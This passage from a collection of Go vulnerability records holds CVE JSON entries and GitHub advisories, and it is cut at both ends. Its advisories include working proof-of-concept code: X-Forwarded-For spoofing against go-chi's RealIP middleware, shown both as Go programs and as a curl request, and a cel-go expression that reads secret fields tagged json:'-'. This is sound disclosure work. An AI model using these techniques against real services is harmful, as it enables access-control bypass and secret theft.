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          "lang": "en",
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          "lang": "en",
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          "url": "https://pkg.go.dev/vuln/GO-2026-6091"
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      "title": "Fix Javascript regexp context tracking in html/template"
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                "id": "CVE-2026-56859",
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              "name": "Decoder.push"
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            {
              "name": "Decoder.pop"
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              "name": "Decoder.RawToken"
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            {
              "name": "Decoder.unmarshalPath"
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            {
              "name": "Decoder.unmarshal"
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            {
              "name": "Decoder.Decode"
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              "name": "Decoder.DecodeElement"
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              "name": "Decoder.Skip"
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          "lang": "en",
          "value": "Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion."
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          "url": "https://pkg.go.dev/vuln/GO-2026-6088"
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      "title": "Add recursion depth guard during decode in encoding/xml"
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                "id": "CVE-2026-56860",
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          "value": "Previously, resolving relative paths containing parent directory (\u0027..\u0027) segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead. Now, path resolution operates on a byte buffer using index-based backtracking for \u0027..\u0027 segments, eliminating the quadratic time complexity and significantly reducing memory allocations."
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              "name": "Conn.readRecordOrCCS"
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              "name": "Conn.Handshake"
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              "name": "Conn.HandshakeContext"
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              "name": "Conn.Read"
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              "name": "Conn.Write"
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              "name": "Dial"
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              "name": "DialWithDialer"
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        {
          "lang": "en",
          "value": "Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely."
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          "url": "https://pkg.go.dev/vuln/GO-2026-6090"
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      ],
      "title": "Limit handshake messages we are willing to accept post-handshake in crypto/tls"
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          "url": "https://go.dev/cl/815020"
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        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6180"
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      ],
      "title": "Ignore unrelated, unauthenticated hashes in Lookup in golang.org/x/mod/sumdb"
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  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56864",
    "datePublished": "2026-08-13T21:58:53.605Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T16:16:42.248Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 8.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56865",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-14T15:33:28.143873Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-347",
                "description": "CWE-347 Improper Verification of Cryptographic Signature",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-14T15:34:17.235Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "cmd/go",
          "product": "cmd/go",
          "vendor": "Go toolchain",
          "versions": [
            {
              "lessThan": "1.25.13",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.26.6",
              "status": "affected",
              "version": "1.26.0-0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.27.0-rc.3",
              "status": "affected",
              "version": "1.27.0-0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://pkg.go.dev",
          "defaultStatus": "unaffected",
          "packageName": "golang.org/x/mod/sumdb/tlog",
          "product": "golang.org/x/mod/sumdb/tlog",
          "programRoutines": [
            {
              "name": "tileHashReader.ReadHashes"
            }
          ],
          "vendor": "golang.org/x/mod",
          "versions": [
            {
              "lessThan": "0.40.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Filippo Valsorda (Geomys)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache. This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log. All tiles are now correctly verified against their parents. In order to determine if you have been affected:   rm -r go.sum go.work.sum vendor/ \u0026\u0026 go mod tidy"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "CWE-347: Improper Verification of Cryptographic Signature",
              "lang": "en"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T21:58:53.475Z",
        "orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
        "shortName": "Go"
      },
      "references": [
        {
          "url": "https://go.dev/issue/80744"
        },
        {
          "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI"
        },
        {
          "url": "https://go.dev/cl/814960"
        },
        {
          "url": "https://go.dev/cl/815020"
        },
        {
          "url": "https://pkg.go.dev/vuln/GO-2026-6179"
        }
      ],
      "title": "Fix transparency log tile verification bypass in golang.org/x/mod/sumdb/tlog"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
    "assignerShortName": "Go",
    "cveId": "CVE-2026-56865",
    "datePublished": "2026-08-13T21:58:53.475Z",
    "dateReserved": "2026-06-23T15:10:49.354Z",
    "dateUpdated": "2026-08-14T15:34:17.235Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v5/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.1"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:21:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n    // ...\n    } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n        ip, _, _ = strings.Cut(xff, \",\")\n    }\n    // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n        \"fmt\"\n        \"net/http\"\n        \"net/http/httptest\"\n\n        \"github.com/go-chi/chi/v5\"\n        \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n        r := chi.NewRouter()\n\n        // Enable the vulnerable RealIP middleware\n        r.Use(middleware.RealIP)\n\n        // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n        r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n                clientIP := r.RemoteAddr\n                fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n                // Simulate IP-based access control\n                if clientIP == \"1.2.3.4\" {\n                        w.WriteHeader(http.StatusOK)\n                        w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n                } else {\n                        w.WriteHeader(http.StatusForbidden)\n                        w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n                }\n        })\n\n        // --- Attack Simulation ---\n        fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n        // 1. Normal Request (Should be denied)\n        req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        rr1 := httptest.NewRecorder()\n        r.ServeHTTP(rr1, req1)\n        fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n        // 2. Spoofed Request (Using X-Forwarded-For)\n        // Attacker claims to be \u00271.2.3.4\u0027\n        req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n        req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n        rr2 := httptest.NewRecorder()\n        r.ServeHTTP(rr2, req2)\n        fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1.  **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2.  Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3.  Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n        xff := r.Header.Get(\"X-Forwarded-For\")\n        if xff == \"\" {\n                return r.RemoteAddr\n        }\n\n        ips := strings.Split(xff, \",\")\n        // Traverse from right to left\n        for i := len(ips) - 1; i \u003e= 0; i-- {\n                ipStr := strings.TrimSpace(ips[i])\n                ip := net.ParseIP(ipStr)\n                if ip == nil {\n                        continue\n                }\n\n                if !isTrustedProxy(ip, trustedProxies) {\n                        return ipStr\n                }\n        }\n\n        return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n        for _, network := range trustedProxies {\n                if network.Contains(ip) {\n                        return true\n                }\n        }\n        return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
  "id": "GHSA-3fxj-6jh8-hvhx",
  "modified": "2026-06-25T18:21:38Z",
  "published": "2026-06-25T18:21:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-chi/chi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "last_affected": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v2/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v3/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v4/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-chi/chi/v5/middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:18:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net/http\"\n\n    \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n    // Set handler to print the remote address\n    handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintln(\n            w,\n            fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n        )\n    })\n    // Use RealIP middleware\n    log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
  "id": "GHSA-9g5q-2w5x-hmxf",
  "modified": "2026-06-25T18:18:56Z",
  "published": "2026-06-25T18:18:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-chi/chi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/google/cel-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.22.0"
            },
            {
              "fixed": "0.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-495"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:48:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n    return func(field reflect.StructField) string {\n        tag, found := field.Tag.Lookup(structTagToParse)\n        if found {\n            splits := strings.Split(tag, \",\")\n            if len(splits) \u003e 0 {\n                // We make the assumption that the leftmost entry in the tag is the name.\n                // This seems to be true for most tags that have the concept of a name/key, such as:\n                // https://pkg.go.dev/encoding/xml#Marshal\n                // https://pkg.go.dev/encoding/json#Marshal\n                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n                name := splits[0]\n                return name\n            }\n        }\n\n        return field.Name\n    }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n    return func(ntp *nativeTypeOptions) error {\n        ntp.fieldNameHandler = fieldNameByTag(tag)\n        return nil\n    }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n    fieldNames := make(map[string]struct{})\n\n    for idx := 0; idx \u003c refType.NumField(); idx++ {\n        field := refType.Field(idx)\n        fieldName := toFieldName(fieldNameHandler, field)\n\n        if _, found := fieldNames[fieldName]; found {\n            return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n        } else {\n            fieldNames[fieldName] = struct{}{}\n        }\n    }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n    if t, found := tp.nativeTypes[typeName]; found {\n        fieldCount := t.refType.NumField()\n        fields := make([]string, fieldCount)\n        for i := 0; i \u003c fieldCount; i++ {\n            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n        }\n        return fields, true\n    }\n    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n        return celTypeFields, true\n    }\n    return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n    t, found := tp.nativeTypes[typeName]\n    if !found {\n        return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n    }\n    refField, isDefined := t.hasField(fieldName)\n    if !found || !isDefined {\n        return nil, false\n    }\n\n    return \u0026types.FieldType{\n        IsSet: func(obj any) bool {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return !refField.IsZero()\n        },\n        GetFrom: func(obj any) (any, error) {\n            refVal := reflect.Indirect(reflect.ValueOf(obj))\n            refField := refVal.FieldByName(refField.Name)\n            return getFieldValue(refField), nil\n        },\n    }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n    refVal := reflect.Indirect(o.refValue)\n    refType := refVal.Type()\n    fields := make(map[string]*structpb.Value, refVal.NumField())\n    for i := 0; i \u003c refVal.NumField(); i++ {\n        fieldType := refType.Field(i)\n        fieldValue := refVal.Field(i)\n        if !fieldValue.IsValid() || fieldValue.IsZero() {\n            continue\n        }\n        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n        fieldCELVal := o.NativeToValue(fieldValue.Interface())\n        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n        if err != nil {\n            return nil, err\n        }\n        fields[fieldName] = fieldJSONVal.(*structpb.Value)\n    }\n    return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n    nt, err := newNativeType(fieldNameHandler, rawType)\n    if err != nil {\n        return nil, err\n    }\n    result := []*nativeType{nt}\n\n    var iterateStructMembers func(reflect.Type)\n    iterateStructMembers = func(t reflect.Type) {\n        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n            iterateStructMembers(t.Elem())\n            return\n        }\n        if t.Kind() != reflect.Struct {\n            return\n        }\n\n        nt, ntErr := newNativeType(fieldNameHandler, t)\n        if ntErr != nil {\n            err = ntErr\n            return\n        }\n        result = append(result, nt)\n\n        for idx := 0; idx \u003c t.NumField(); idx++ {\n            iterateStructMembers(t.Field(idx).Type)\n        }\n    }\n    iterateStructMembers(rawType)\n\n    return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n    )\n    ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n    fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible.  \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n    \"encoding/json\"\n    \"fmt\"\n    \"reflect\"\n\n    \"github.com/google/cel-go/cel\"\n    \"github.com/google/cel-go/ext\"\n\n    structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n    UserID string `json:\"userId\"`\n    Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n    env, _ := cel.NewEnv(\n        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n        cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n    )\n\n    ast, _ := env.Compile(`req.auth`)\n    prg, _ := env.Program(ast)\n    out, _, _ := prg.Eval(map[string]any{\n        \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n    })\n\n    jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n    raw, _ := out.ConvertToNative(jsonStructType)\n\n    st := raw.(*structpb.Struct)\n    b, _ := json.MarshalIndent(st.AsMap(), \"\", \"  \")\n    fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n    fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n    if v, ok := st.Fields[\"-\"]; ok {\n        fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n    }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n  \"-\": \"sk-live-s3cr3t\",\n  \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
  "id": "GHSA-gcjh-h69q-9w9g",
  "modified": "2026-07-24T16:48:56Z",
  "published": "2026-07-24T16:48:56Z",
  "references": [
    {
